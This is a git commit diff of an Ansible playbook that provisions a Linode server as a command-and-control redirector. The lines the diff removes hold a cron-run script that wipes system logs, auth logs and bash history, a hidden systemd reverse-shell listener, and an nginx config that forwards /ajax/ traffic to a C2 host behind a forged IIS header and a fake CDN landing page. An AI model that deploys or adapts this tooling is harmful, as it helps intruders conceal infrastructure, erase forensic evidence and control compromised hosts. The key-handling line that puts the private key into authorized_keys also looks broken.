reconfiging everything

This commit is contained in:
n0mad1k
2025-04-10 11:45:38 -04:00
parent 97277b0f64
commit 19501b84a0
17 changed files with 1908 additions and 5627 deletions
+75 -397
View File
@@ -1,431 +1,109 @@
---
- name: Deploy Linode redirector server
# Linode Redirector-only Deployment Playbook
- name: Deploy Linode redirector
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
# Default values for required variables
ssh_user: "{{ ssh_user | default('root') }}"
linode_region: "{{ linode_region | default(region_choices | random) }}"
plan: "{{ plan | default('g6-standard-1') }}"
image: "{{ image | default('linode/debian11') }}"
# Generate random instance name if not provided
redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
# Generate random shell handler port if not provided
shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
tasks:
- name: Create Linode redirector instance
- name: Validate required Linode token
assert:
that:
- linode_token is defined and linode_token != ""
fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
- name: Create redirector Linode instance
community.general.linode_v4:
access_token: "{{ linode_token }}"
label: "{{ redirector_name }}"
type: "{{ plan }}"
region: "{{ region }}"
image: "linode/debian11"
root_pass: "{{ lookup('password', '/dev/null length=16') }}"
region: "{{ linode_region }}"
image: "{{ image }}"
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
authorized_keys:
- "{{ lookup('file', ssh_key_path + '.pub') }}"
- "{{ lookup('file', ssh_key_path) }}"
state: present
register: redirector_instance
- name: Save redirector IP
ansible.builtin.set_fact:
- name: Set redirector_ip for later use
set_fact:
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
redirector_instance_id: "{{ redirector_instance.instance.id }}"
- name: Wait for SSH to become available
ansible.builtin.wait_for:
- name: Wait for redirector SSH to be available
wait_for:
host: "{{ redirector_ip }}"
port: 22
delay: 10
delay: 30
timeout: 300
state: started
- name: Add redirector to inventory
ansible.builtin.add_host:
add_host:
name: "redirector"
groups: "redirectors"
ansible_host: "{{ redirector_ip }}"
ansible_user: "{{ ssh_user | default('root') }}"
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
groups: redirectors
ansible_user: "{{ ssh_user }}"
ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
- name: Configure redirector
- name: Configure redirector server
hosts: redirectors
become: true
gather_facts: true
vars_files:
- vars.yaml
vars:
domain: "{{ domain | default('example.com') }}"
redirector_subdomain: "cdn"
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
zero_logs: "{{ zero_logs | default(true) }}"
shell_handler_port: 4444
c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
c2_ip: "{{ c2_ip | default('127.0.0.1') }}"
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
tasks:
- name: Update apt cache
- name: Wait for apt to be available
apt:
update_cache: yes
- name: Install required packages
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
- socat
- netcat-openbsd
- cryptsetup
- secure-delete
register: apt_result
until: apt_result is success
retries: 5
delay: 10
- name: Disable root password authentication for SSH immediately
lineinfile:
path: /etc/ssh/sshd_config
regexp: '^#?PasswordAuthentication'
line: 'PasswordAuthentication no'
state: present
- name: Restart SSH service to apply changes
service:
name: ssh
state: restarted
- name: Include common redirector configuration tasks
include_tasks: "../tasks/configure_redirector.yml"
- name: Include common security hardening tasks
include_tasks: "../tasks/security_hardening.yml"
- name: Create directories for OPSEC scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /opt/c2
- /opt/shell-handler
- name: Create clean-logs.sh script
copy:
content: |
#!/bin/bash
# Zero-logs maintenance script
umask 077
# Disable syslog temporarily
systemctl stop rsyslog 2>/dev/null
systemctl stop systemd-journald 2>/dev/null
# Clear system logs
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
journalctl --vacuum-time=1s 2>/dev/null
# Clear bash history
for histfile in /root/.bash_history /home/*/.bash_history; do
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
done
history -c
# Clear NGINX logs
for nginx_log in /var/log/nginx/*; do
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
done
# Clear temporary directories
rm -rf /tmp/* /var/tmp/* 2>/dev/null
# Restart logging services
systemctl start systemd-journald 2>/dev/null
systemctl start rsyslog 2>/dev/null
echo "[+] Log cleaning complete"
exit 0
dest: /opt/c2/clean-logs.sh
mode: '0700'
owner: root
group: root
- name: Create shell handler script
copy:
content: |
#!/bin/bash
# Automated shell handler for catching and upgrading reverse shells
# Configuration
LISTEN_PORT={{ shell_handler_port }}
C2_HOST="{{ c2_ip }}"
# Set secure permissions
umask 077
# Logging function
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection
wait $NC_PID
log "Connection closed, restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
dest: /opt/shell-handler/persistent-listener.sh
mode: '0700'
owner: root
group: root
- name: Create shell handler service
copy:
content: |
[Unit]
Description=Reverse Shell Handler Service
After=network.target
[Service]
Type=simple
User=root
Group=root
ExecStart=/opt/shell-handler/persistent-listener.sh
Restart=always
RestartSec=10
# Hide process information
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
# Make shell handler hard to find
StandardOutput=null
StandardError=null
# Environment variables
Environment="C2_HOST={{ c2_ip }}"
Environment="LISTEN_PORT={{ shell_handler_port }}"
[Install]
WantedBy=multi-user.target
dest: /etc/systemd/system/shell-handler.service
mode: '0644'
owner: root
group: root
- name: Configure NGINX for zero-logging
copy:
content: |
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 1024;
multi_accept on;
}
http {
# Basic Settings
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
# MIME
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Zero-logs configuration
access_log off;
error_log /dev/null crit;
# SSL Settings
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
# Headers to confuse fingerprinting
more_set_headers 'Server: Microsoft-IIS/8.5';
# Virtual Host Configs
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
dest: /etc/nginx/nginx.conf
mode: '0644'
owner: root
group: root
when: zero_logs|bool
- name: Configure NGINX default site for C2 redirection
copy:
content: |
server {
listen 80;
listen [::]:80;
server_name {{ redirector_subdomain }}.{{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_subdomain }}.{{ domain }};
# SSL Configuration (self-signed until Let's Encrypt is set up)
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Root directory
root /var/www/html;
index index.html;
# Special URI patterns for C2 traffic
location /ajax/ {
proxy_pass http://{{ c2_ip }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Default location
location / {
try_files $uri $uri/ =404;
}
# Disable logging for this server block
access_log off;
error_log /dev/null crit;
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
dest: /etc/nginx/sites-available/default
mode: '0644'
owner: root
group: root
- name: Create legitimate-looking index.html
copy:
content: |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
header {
background-color: #2c3e50;
color: white;
padding: 1em;
text-align: center;
}
.container {
width: 80%;
margin: 0 auto;
padding: 2em;
}
.card {
background-color: white;
border-radius: 5px;
padding: 1.5em;
margin-bottom: 1.5em;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
</style>
</head>
<body>
<header>
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
<p>Enterprise Content Delivery Network</p>
</header>
<div class="container">
<div class="card">
<h2>Welcome to Our CDN</h2>
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.</p>
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
</div>
</div>
</body>
</html>
dest: /var/www/html/index.html
mode: '0644'
owner: www-data
group: www-data
- name: Start and enable shell handler service
systemd:
name: shell-handler
state: started
enabled: yes
daemon_reload: yes
- name: Set up cron job for log cleaning
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
when: zero_logs|bool
- name: Install Let's Encrypt certificate if domain specified
shell: |
certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
args:
creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
when: domain != "example.com"
- name: Restart NGINX
systemd:
name: nginx
state: restarted
- name: Print deployment summary
debug:
msg:
- "Redirector Deployment Complete!"
- "-------------------------------"
- "Redirector IP: {{ ansible_host }}"
- "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)"
- "Shell Handler Port: {{ shell_handler_port }}"
when: not disable_summary | default(false)